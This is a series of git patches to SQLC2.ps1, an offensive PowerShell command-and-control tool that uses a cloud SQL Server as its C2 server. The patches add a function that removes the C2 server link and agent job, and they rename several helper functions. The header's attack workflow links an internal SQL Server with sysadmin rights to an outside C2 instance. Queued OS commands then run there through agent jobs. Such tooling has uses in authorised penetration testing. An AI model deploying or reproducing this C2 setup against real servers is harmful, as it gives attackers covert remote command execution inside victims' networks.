.PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName @@ -1783,8 +2106,6 @@ Function Remove-SQLC2Agent SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName From f97defe404bee4c01c2aa3623990eafbf3ddd36c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 21 May 2018 16:38:20 -0500 Subject: [PATCH 25/27] Add Uninstall-SQLC2AgentLink Add Uninstall-SQLC2AgentLink - Allows users to remove the installed C2 server link and agent job. --- scripts/pending/SQLC2.ps1 | 124 +++++++++++++++++++++++++++++++++++++- 1 file changed, 123 insertions(+), 1 deletion(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 3746bb2..d6f1ffe 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -18,7 +18,7 @@ 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. - 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. + 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. Traffic will come inbound over port 1433. ---------------------------- Attack Workflow Overview @@ -58,6 +58,10 @@ 5. Execute queued commands via SQL Server link and agent job. This allows you to use an internal SQL Server as your agent. This requires sysadmin privileges on the internal SQL Server. Install-SQLC2AgentLink -Instance 'InternalSQLServer1\SQLSERVER2014' -C2Username 'CloudAdmin' -C2Password 'CloudPassword!' -C2Instance sqlcloudc2.database.windows.net -C2Database database1 -Verbose + + Note: You can use the command below to remove the server link agent. + + Uninstall-SQLC2AgentLink -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014' 6. View command results. @@ -801,6 +805,7 @@ Function Install-SQLC2Server } } + # ---------------------------------- # Install-SQLC2AgentLink - In Progress # ---------------------------------- @@ -2211,3 +2216,120 @@ Function Remove-SQLC2Agent Write-Verbose "$instance : Done." } } + + + + +# ---------------------------------- +# Uninstall-SQLC2AgentLink +# ---------------------------------- +# Author: Scott Sutherland +Function Uninstall-SQLC2AgentLink +{ + <# + .SYNOPSIS + This command removes the C2 server link and agent job from the agent SQL Server. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + .EXAMPLE + PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!' + .EXAMPLE + PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + if($ServerName){ + $ServerFilter = "WHERE servername like '$ServerName'" + }else{ + $ServerFilter = "" + } + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + -- Remove server link to SQL C2 Server + IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1 + exec sp_dropserver 'SQLC2Server', 'droplogins'; + else + select 'The server link does not exist.' + + -- Remove C2 agent job + IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1 + EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ; + else + select 'The agent job does not exist.'" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } From d7bef1377476d8153617624c7b94ad645f09b96b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 21 May 2018 22:06:53 -0500 Subject: [PATCH 26/27] Update SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 130 +++++++++++++++++++------------------- 1 file changed, 64 insertions(+), 66 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index d6f1ffe..d22a861 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -18,7 +18,7 @@ 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. - 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. Traffic will come inbound over port 1433. + 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. ---------------------------- Attack Workflow Overview @@ -80,10 +80,10 @@ # ---------------------------------- -# Get-SQLConnectionObject +# Get-C2SQLConnectionObject # ---------------------------------- # Author: Scott Sutherland -Function Get-SQLConnectionObject +Function Get-C2SQLConnectionObject { <# .SYNOPSIS @@ -103,7 +103,7 @@ Function Get-SQLConnectionObject .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" + PS C:\> Get-C2SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False AccessToken : ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application @@ -258,10 +258,10 @@ Function Get-SQLConnectionObject # ---------------------------------- -# Get-SQLQuery +# Get-C2SQLQuery # ---------------------------------- # Author: Scott Sutherland -Function Get-SQLQuery +Function Get-C2SQLQuery { <# .SYNOPSIS @@ -293,11 +293,11 @@ Function Get-SQLQuery .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 + PS C:\> Get-C2SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE - PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 + PS C:\> Get-C2SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 .EXAMPLE - PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15 + PS C:\> Get-SQLInstanceDomain | Get-C2SQLQuery -Verbose -Query "Select @@version" -Threads 15 #> [CmdletBinding()] Param( @@ -373,12 +373,12 @@ Function Get-SQLQuery if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name @@ -416,7 +416,7 @@ Function Get-SQLQuery } catch { - # Connection failed - for detail error use Get-SQLConnectionTest + # Connection failed - for detail error use Get-SC2QLConnectionTest if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." @@ -431,7 +431,7 @@ Function Get-SQLQuery } else { - Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Write-Output -InputObject 'No query provided to Get-C2SQLQuery function.' Break } } @@ -452,9 +452,9 @@ Function Get-SQLQuery # ---------------------------------- -# Get-SQLConnectionTest +# Get-SC2QLConnectionTest # ---------------------------------- -Function Get-SQLConnectionTest +Function Get-SC2QLConnectionTest { <# .SYNOPSIS @@ -476,11 +476,11 @@ Function Get-SQLConnectionTest .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .EXAMPLE - PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" + PS C:\> Get-SC2QLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" .EXAMPLE - PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" + PS C:\> Get-SC2QLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" .EXAMPLE - PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose + PS C:\> Get-SQLInstanceDomain | Get-SC2QLConnectionTest -Verbose #> [CmdletBinding()] Param( @@ -532,7 +532,7 @@ Function Get-SQLConnectionTest Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -544,12 +544,12 @@ Function Get-SQLConnectionTest if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database + $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection @@ -596,10 +596,10 @@ Function Get-SQLConnectionTest # ------------------------------------------- -# Function: Get-ComputerNameFromInstance +# Function: Get-C2ComputerNameFromInstance # ------------------------------------------ # Author: Scott Sutherland -Function Get-ComputerNameFromInstance +Function Get-C2ComputerNameFromInstance { <# .SYNOPSIS @@ -607,7 +607,7 @@ Function Get-ComputerNameFromInstance .PARAMETER Instance SQL Server instance to parse. .EXAMPLE - PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 + PS C:\> Get-C2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 SQLServer1 #> [CmdletBinding()] @@ -711,7 +711,7 @@ Function Install-SQLC2Server Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -720,7 +720,7 @@ Function Install-SQLC2Server } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -752,7 +752,7 @@ Function Install-SQLC2Server SELECT name FROM master..sysdatabases WHERE name like '$Database'" # Create Database results - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { @@ -787,7 +787,7 @@ Function Install-SQLC2Server );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" # Create Database results - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { @@ -892,7 +892,7 @@ Function Install-SQLC2AgentLink Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -901,7 +901,7 @@ Function Install-SQLC2AgentLink } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -966,7 +966,7 @@ Function Install-SQLC2AgentLink # Run Query Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 # Verify link addition if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) @@ -1115,7 +1115,7 @@ Function Install-SQLC2AgentLink ORDER BY JOB_OWNER,JOB_NAME" # Run Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 # Verify job was added if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) @@ -1209,7 +1209,7 @@ Function Register-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1218,7 +1218,7 @@ Function Register-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1247,7 +1247,7 @@ Function Register-SQLC2Agent WHERE servername like '$env:COMPUTERNAME'" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." } @@ -1327,7 +1327,7 @@ Function Get-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1336,7 +1336,7 @@ Function Get-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1359,7 +1359,7 @@ Function Get-SQLC2Agent $Query = "SELECT * FROM dbo.c2agents" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose $AgentCount = $TblResults | measure | select count -ExpandProperty count Write-Verbose -Message "$Instance : $AgentCount agents were found registered." @@ -1457,7 +1457,7 @@ Function Set-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1466,7 +1466,7 @@ Function Set-SQLC2Command } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -1498,7 +1498,7 @@ Function Set-SQLC2Command $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $Instance." } @@ -1587,7 +1587,7 @@ Function Get-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1596,7 +1596,7 @@ Function Get-SQLC2Command } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1623,7 +1623,7 @@ Function Get-SQLC2Command $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults | measure | select count -ExpandProperty count @@ -1644,7 +1644,7 @@ Function Get-SQLC2Command $C2Command = $_.command # Execute command - Create-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId + Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId } }else{ @@ -1656,10 +1656,10 @@ Function Get-SQLC2Command # ---------------------------------- -# Create-SQLC2Command +# Invoke-SQLC2Command # ---------------------------------- # Author: Scott Sutherland -Function Create-SQLC2Command +Function Invoke-SQLC2Command { <# .SYNOPSIS @@ -1678,8 +1678,8 @@ Function Create-SQLC2Command .PARAMETER Command The OS command to run. .EXAMPLE - PS C:\> Create-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 - PS C:\> Create-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 + PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 + PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( @@ -1746,7 +1746,7 @@ Function Create-SQLC2Command } # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1755,7 +1755,7 @@ Function Create-SQLC2Command } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1785,7 +1785,7 @@ Function Create-SQLC2Command WHERE CID like $Cid" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults.row.count @@ -1914,7 +1914,7 @@ Function Get-SQLC2Result Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1923,7 +1923,7 @@ Function Get-SQLC2Result } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1952,7 +1952,7 @@ Function Get-SQLC2Result " $Query # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults.row.count @@ -2050,7 +2050,7 @@ Function Remove-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2059,7 +2059,7 @@ Function Remove-SQLC2Command } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2084,7 +2084,7 @@ Function Remove-SQLC2Command $ServerFilter" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End @@ -2174,7 +2174,7 @@ Function Remove-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2183,7 +2183,7 @@ Function Remove-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2208,7 +2208,7 @@ Function Remove-SQLC2Agent $ServerFilter" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End @@ -2218,8 +2218,6 @@ Function Remove-SQLC2Agent } - - # ---------------------------------- # Uninstall-SQLC2AgentLink # ---------------------------------- @@ -2281,7 +2279,7 @@ Function Uninstall-SQLC2AgentLink Process { # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2290,7 +2288,7 @@ Function Uninstall-SQLC2AgentLink } # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2325,7 +2323,7 @@ Function Uninstall-SQLC2AgentLink select 'The agent job does not exist.'" # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End From 0c211f228df9e8e55ef9197f6c84144bacafb192 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 21 May 2018 22:48:41 -0500 Subject: [PATCH 27/27] Update SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 116 +++++++++++++++++++------------------- 1 file changed, 58 insertions(+), 58 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index d22a861..ffbec56 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -80,10 +80,10 @@ # ---------------------------------- -# Get-C2SQLConnectionObject +# Get-SQLC2ConnectionObject # ---------------------------------- # Author: Scott Sutherland -Function Get-C2SQLConnectionObject +Function Get-SQLC2ConnectionObject { <# .SYNOPSIS @@ -103,7 +103,7 @@ Function Get-C2SQLConnectionObject .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-C2SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" + PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False AccessToken : ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application @@ -258,10 +258,10 @@ Function Get-C2SQLConnectionObject # ---------------------------------- -# Get-C2SQLQuery +# Get-SQLC2Query # ---------------------------------- # Author: Scott Sutherland -Function Get-C2SQLQuery +Function Get-SQLC2Query { <# .SYNOPSIS @@ -293,11 +293,11 @@ Function Get-C2SQLQuery .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-C2SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 + PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE - PS C:\> Get-C2SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 + PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 .EXAMPLE - PS C:\> Get-SQLInstanceDomain | Get-C2SQLQuery -Verbose -Query "Select @@version" -Threads 15 + PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15 #> [CmdletBinding()] Param( @@ -373,12 +373,12 @@ Function Get-C2SQLQuery if($DAC) { # Create connection object - $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object - $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name @@ -416,7 +416,7 @@ Function Get-C2SQLQuery } catch { - # Connection failed - for detail error use Get-SC2QLConnectionTest + # Connection failed - for detail error use Get-SQLC2ConnectionTest if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." @@ -431,7 +431,7 @@ Function Get-C2SQLQuery } else { - Write-Output -InputObject 'No query provided to Get-C2SQLQuery 